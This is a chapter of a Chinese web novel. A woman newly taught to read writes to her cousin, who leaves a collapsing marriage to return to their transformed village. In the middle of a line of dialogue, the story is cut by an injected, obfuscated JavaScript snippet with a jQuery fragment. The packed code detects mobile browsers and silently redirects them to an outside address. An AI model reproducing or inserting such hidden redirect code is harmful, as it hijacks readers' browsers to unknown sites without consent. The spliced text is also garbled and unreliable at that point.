和王秀芬相熟的好姐妹陈雨，这些日子里和她一样，一得了空便往学堂跑。
她识得的字还不多，握笔也有些生疏，但心里揣着件事，便格外有股韧劲。
这日午后，她在学堂角落里找了张桌子坐下，铺开了一张信纸。
陈雨研墨落笔，凝神聚气，在纸上一笔一划地书写。
她写写停停，不时蹙眉思索，偶尔还会翻开手边从藏书室里借来的那本《蒙学字汇》，字字句句艰难地查对着什么。
从天光明媚到日光渐沉，她写的不算顺利，甚至还手误写废了好几张纸，画得上面全是大小不一的墨点，又揉成一团放在旁边。
最后，一封短短的信终于在她面前铺展开来。
她拿起那张纸，有些期盼，又不由自主地忐忑，本想找温青时帮忙看看，却觉得自己写得太过粗陋，恐怕入不了眼，只得捏着信纸，在原地踌躇。
正彷徨间，一个温和的声音吸引了她的注意：“陈大娘，您是在写信吗？要我帮您看看吗？”
陈雨抬头，见是温玉不知何时走了过来，正含笑看着她。
她们也算熟稔，温玉不仅会和她们一起忙农活，闲时还会来学堂里逛逛，大家看到她，都会觉得安心。
陈雨像是找到了主心骨，连忙将信纸递过去，有些不好意思地搓着手：“哎，温丫头，真是麻烦你了。我、我才刚学了些字，怕写得不好，有什么错处……”
温玉接过信纸，仔细看去。
上面的字迹确实有些稚嫩，有些笔画歪歪扭扭，但能看出书写者下了许多苦功。
信的内容很简单，是写给一位妹妹的，问候之外，也简要描述了禄溪村如今的变化。
她写粮食丰收了，日子有盼头了，连她这把年纪都开始学认字了，字里行间洋溢着喜悦。
末尾，她有些笨拙，却十分热切地邀请妹妹回来看看。
陈雨在一旁紧张地注视着温玉的表情，见她看得仔细，忍不住小声解释道：“我堂妹妙之，她和我不一样，小时候家里条件稍好些，她是正经开蒙读过书的，认得不少字。”
她又有些局促地搓了搓手：“唉，我就怕我写得不对，词不达意，平白让她笑话……”
温玉看完，将信纸轻轻递回给陈雨，宽慰道：“陈大娘，您放心，这信写得清清楚楚，意思明白得很，一点问题都没有。您妹妹看了，一定能懂您的心意。”
陈雨闻言，顿时长舒一口气，脸上如释重负，仿佛完成了什么天大的事一样，小心翼翼地将信纸折好。
犹豫了一下，她又看向温玉，眼神里带着小心翼翼的期盼，声音也压低了些：“温丫头，还有个事，我想问问你。”
“您说。”温玉打起了精神。
“要是妙之她……真的回来了，你看能不能在学堂里，也给她安排个事儿做？”陈雨顿了顿，终于把压在心里几天的话说了出来。
她见温玉认真听着，便继续解释道：“我妹妹她的学识比我们强多了，当初还有家境不错的人家看中，想聘她去给家里的小姐开蒙呢。不过后来她成亲了，走不开，事情就做罢了。”
“我看你如今忙里忙外，又要操心地里又要管着学堂，实在辛苦。她若是能来，哪怕只是帮着教教孩子们认几个大字，也是好的……总能给你分担一点，是不是？”
温玉听着，眼睛微微一亮。
这倒真是个意外之喜！
她正愁学堂扩张，师资不足，若真有一位读过书的女性能来帮忙，简直是雪中送炭。
观众们也十分欣喜。
【哇！新老师预定！】
【太好了，学堂确实需要更多老师，尤其是女老师！】
【支持，现在女孩子多了，如果她能来，会方便很多。】
【期待分班教学，现在混龄上课确实有点吃力了。】
【陈大娘加油！一定要把妹妹喊回来啊！】
无论如何，这都是个好的开始。
“好啊。”温玉答应得十分爽快，“陈大娘，这是大好事啊，咱们学堂正缺人呢，若您妹妹愿意回来，我们随时欢迎。她这样识文断字的，再来几个也不嫌少！”
得到温玉肯定的答复，陈雨喜出望外。
但很快，她望着窗外，又轻轻叹了口气：“唉，就是不知道，这封信能不能送到她手上，她又愿不愿意拖家带口地回来。这一大家子人，出去都三年了，在外头也不知究竟过得怎样。”
“不管怎么样，这信，我总得寄出去试试……”
她捏紧了手中的信。
----
陈家的驴车沿着官道，一路向着禄溪村的方向行去。
车轱辘碾过土路，扬起阵阵尘土。
陈妙之紧紧搂着女儿千山，目光投向窗外倒退的陌生景致，心绪却早已飞回了阔别近三年的故乡。
她下意识地从衣服里抽出那封信。
来自禄溪村的，堂姐陈雨亲笔写来的信。
信上说，村里和之前大不一样了。地里长出了足够大家吃饱的粮食，还有余粮能卖上不少钱，甚至破天荒地办起了学堂，连女子都能进去读书。
堂姐自己，就是因此学会了写字，这封信便是证明。
正是这封信点燃了她心底几乎熄灭的火，让她下定决心，无论如何也要回去看看。
可丈夫刘浩炎却对此不屑一顾。
“胡扯！”他当时就跳了起来，抬手想抢过陈妙之手里的信，“你堂姐陈雨？那个斗大的字不识一筐的村妇？她还会写字？骗鬼呢！”
他的唾沫星子几乎喷到陈妙之脸上，让她下意识往后躲了躲。
他却变本加厉：“你们女人家头发长见识短，看不明白，我清楚得很！指不定是哪个野汉子甜言蜜语哄了她，代笔写了这劳什子，骗你回去还不知道安的什么心！”
陈妙之心底并非没有疑虑。
堂姐的确从未读过书。
但信上那些关于学堂，关于女子也能读书上学的描述，却又让她无比向往。
若真如刘浩炎恶意揣测的那般，是堂姐找了哪个男人代笔，哪个男人又会写出这般在这个世道看来堪称“离经叛道”的内容？
这根本说不通。
更重要的是，背井离乡的这三年里，她无时无刻不想家。
“不管你怎么说，那是生我养我的地方，有我挂念的亲人。”这一次，陈妙之却不像以前那样退让了，反而带了些刘浩炎意料之外的执拗，“我总要回去亲眼看看。”
刘浩炎被噎了一下，瞬间恼羞成怒，声音拔高：“反了你了，一个婆娘还敢跟你汉子犟嘴！”
陈妙之轻轻抬起眼，神色淡漠。
她甚至没有提高声调，却一句话压得他说不出半句话。
“你是不敢回去吧？”
刘浩炎扬起的手僵在半空，脸上的怒容也凝固了。
陈妙之的目光扫过他局促的神情，讥诮道：“你当然不想回去了，在外面，没人知道你的根底，你可以自称‘刘老爷’，自然潇洒自在。”
她微微停顿，看着对方骤然变化的脸色，一字一顿。
“可回了禄溪村，你就永远是那个入、赘、的、女、婿。这一点，你走到哪儿都改不了。”
“我……”刘浩炎张了张嘴，想反驳，想呵斥，却发现所有的言语都堵在了喉咙里。
他确实否认不了。
早年刘浩炎家境贫穷，连房子和田地都没有，为了谋生，只能选了这条道路。
刚入赘时，他看在陈家家境的份上，还算收敛，表现得勤恳本分。
可自从三年前，一家子逃荒出来，离开了禄溪村的乡亲们，失去了家族无形的约束，他竟渐渐露出了本性。
在外面，他腰杆挺直了，嗓门也大了，仿佛彻底忘了自己“赘婿”的身份，还一口咬定，全家人能在这荒年活下来，全是靠他挣来的那点微薄收入。
刘浩炎在家中越发颐指气使，甚至几次三番强硬地要求，将两个孩子都改随他的刘姓。
在外人面前，趁着无人知晓他们的根底，他竟大胆地自称起“刘老爷”，称他们是一家“刘姓人”。
直到某次饭桌上，他又旧事重提。
陈妙之积压已久的怒火终于爆发，她“啪”地撂下筷子：“刘浩炎！你这般行事，是要逼着我陈家‘三代还宗’吗？”
刘浩炎也彻底撕破了脸，阴阳怪气地嘲讽：“什么陈家？世间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324246|179104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夫为妻纲，嫁鸡随鸡嫁狗随狗，你既跟了我，就是刘家的人！一个妇道人家，还敢在我面前拿乔耍横？”
“既然这般看不上我陈家，这日子也不必过了！”陈妙之竟半步不退，站起身来，斩钉截铁道，“和离！”
刘浩炎竟像是就等着这句话，立刻接口：“和离就和离！你以为离了你陈家，我就活不下去？哼，外头有的是女人想跟着我刘浩炎过活！”
饭桌旁，儿子沛川假装低头扒饭，眼珠却滴溜溜转着偷看两人。
女儿千山则往母亲身侧靠了靠，一言不发。
任谁都看得出，这一家的裂痕早已不可弥合。
只因和离需回原籍办理，此事才被勉强压下。
这次拿到信后，陈妙之再次旧事重提。
“你不是日日想着和离，想去当你的刘老爷吗？正好，我们回禄溪，把手续办了！”
“走就走！谁怕谁！”刘浩炎被她一激，竟是梗着脖子答应了，一副巴不得立刻摆脱她的模样。
于是，这早已离心的一家人，同路异心地踏上了返乡的路。
一路上，刘浩炎故意只带着儿子沛川另租了一辆车，却把女儿千山硬塞到了陈妙之手里，仿佛急于和她们划清界限。
临登车前，他还不忘撂下狠话：“和离可以，但儿子必须归我！他是我刘家的种，以后就叫刘沛川，给我刘家传宗接代！”
十岁的沛川紧紧牵着父亲的手，像是找到了最大的靠山。
他竟也学着父亲的腔调，对着姐姐得意地做着鬼脸，尖声笑道：“哈哈哈，爹辛苦赚钱养家，是顶天立地的大丈夫！以后我就要跟着爹，你就跟着你那没用的娘过去吧！”
一直沉默的千山忽然抬起头，黑白分明的眼睛望着父亲：“那我呢？”
刘浩炎不耐烦地瞥了女儿一眼，那眼神不像在看自己的亲生孩子，倒像是在看一件碍事的杂物。
他从牙缝里挤出一句话：“你？赔钱货。”
既然已经撕破脸皮，他连最后一丝虚伪的温情都懒得维系。
陈妙之的心彻底凉了下去。
她一言不发，只用力将女儿更深地搂进怀里，决绝地转身登上了车。
颠簸的车里，千山依偎在她身侧，抬头看着她，眼睛清澈：“娘，爹说的……是真的吗？”
“他说胡话！”陈妙之的怒气还没平息，“他算什么挣钱养家！”
逃荒前两年，家里能有口饭吃，全仗着她从陈家带出的积蓄和变卖嫁妆首饰换来的钱苦苦支撑。
直到去年积蓄花完，一家子眼看就要彻底坐吃山空，刘浩炎才极不情愿地出去做点短工。
可他挣来的那几个铜板，几乎连他自己打酒喝都不够！
每每喝了酒回来，他便寻衅撒泼，指天骂地，把一家子都扰得不得安宁。
他看不上女儿千山，唯独对儿子沛川极尽溺爱，指望着这根“独苗”将来光耀他刘家的门楣。
如今看来，这儿子算是彻底被他养歪了，自私凉薄，与他爹如出一辙，是个喂不熟的白眼狼。
陈妙之花了些时间安抚女儿的情绪，看着她安静睡下，才再次展开堂姐的信。
以前的事情，她还是记得的。
堂姐家的光景以前比她还不如，生了五个女儿一个儿子，堂姐作为长女，从小就只能眼巴巴看着弟弟被送去开蒙读书，自己却连摸一下书本的资格都没有。
可如今，堂姐在信里写道，你快带千山回来吧，现在村里女孩子也能读书了。
妙之，你忘了么？你小时候也是读过几年书的，识文断字。
若是你回来了，说不定还能在学堂里谋个教书的差事呢……
陈妙之的手指轻轻抚过上面的字，仿佛听到堂姐在呼唤她。
妙之，你回来吧。
她忽然想，回到禄溪村，或许对她和千山来说真的是件好事，能斩断过去，重新开始。
至于刘浩炎……
她的目光越过车窗，落在不远处的另一辆车上，眼神彻底冷了下来。
回了禄溪，便是桥归桥，路归路。
她倒要看看，他们父子那套不知天高地厚的做派，回了禄溪村，还行不行得通！